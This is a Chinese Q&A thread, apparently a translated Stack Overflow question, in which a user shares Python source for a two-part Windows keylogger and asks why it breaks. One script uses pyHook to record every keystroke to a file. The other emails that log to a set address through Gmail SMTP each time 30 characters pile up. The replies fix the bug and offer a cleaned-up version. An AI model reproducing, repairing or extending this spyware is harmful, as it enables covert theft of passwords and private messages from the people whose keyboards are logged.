Python发送电子邮件,smtplib参数错误

时间:2015-04-01 22:26:27

标签: python email arguments

我制作了两部分键盘记录程序,实际的keylogger.py和email.py文件。电子邮件部分不起作用

代码:

import urllib2
import smtplib
import time

def internet_check():
    try:
        response=urllib2.urlopen('http://www.google.com',timeout=10)
        return True

    except:
        return False

def main():
    while len(open('output.txt','r+').read()) < 30 or not internet_check():
        pass

    mail=smtplib.SMTP('smtp.gmail.com:587')
    mail.starttls()
    mail.login('sendinguser','pass')
    mail.sendmail('sendinguser','receivinguser',open('output.txt','r+').read())
    mail.quit()
    open('output.txt','w').write()
    main()

try:       #it wont run without this part idk why, it doesnt even give an error,nothing
    main() #please explain 
except Exception,e:p=input(str(e))

第一次执行后,它会等待30个字符,然后发送电子邮件并清除文件output.txt。 但在那之后,当main()函数第二次运行时,它会打印:

function takes exactly 1 argument (0given)

就是这样。知道为什么吗?

如果需要,

键盘记录代码:

import pyHook
import pythoncom
import pywintypes
import time
import sys
import os

f=open('output.txt','a+')  #i know it isn't neat, i'll clean it up later ;)
f.write('\n'+time.asctime()+'\n')
f.close()

def OnKeyboardEvent(event):
    if event.Ascii==96: 
        os.system("taskkill /im pythonw.exe /f")
        sys.exit()

    if event.Ascii==5:
        _exit(1)

    if event.Ascii !=0 or 8:
        f=open('output.txt','r+')
        buffer=f.read()
        f.close()

        f=open('output.txt','w')
        keylogs=chr(event.Ascii)
        if event.Ascii==13:
            keylogs='/n'

        buffer+=keylogs
        f.write(buffer)
        f.close()

hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

我很肯定它只是第一个代码,任何帮助将不胜感激,并提前感谢您。

2 个答案:

答案 0 :(得分:0)

好的,事实证明write()实际上必须给出一个参数,它只是第一次清除因为open('','w')自己清除它,这就是我需要的,我以为它不需要参数,因此错误。它与python 2.7一样,与3.4一样 如果有人想要,我可以发布缩写和清理过的脚本。

答案 1 :(得分:0)

我建议至少学习一些你更喜欢使用的python上下文管理&#39; with&#39;如下:

with open (filename, perm) as fp:
    # some operation on fp, e.g. fp.write(...)

这有一个很好的功能,你可以消除close()函数,python将为你提供。

另外:http://en.wikibooks.org/wiki/Python_Programming/Context_Managers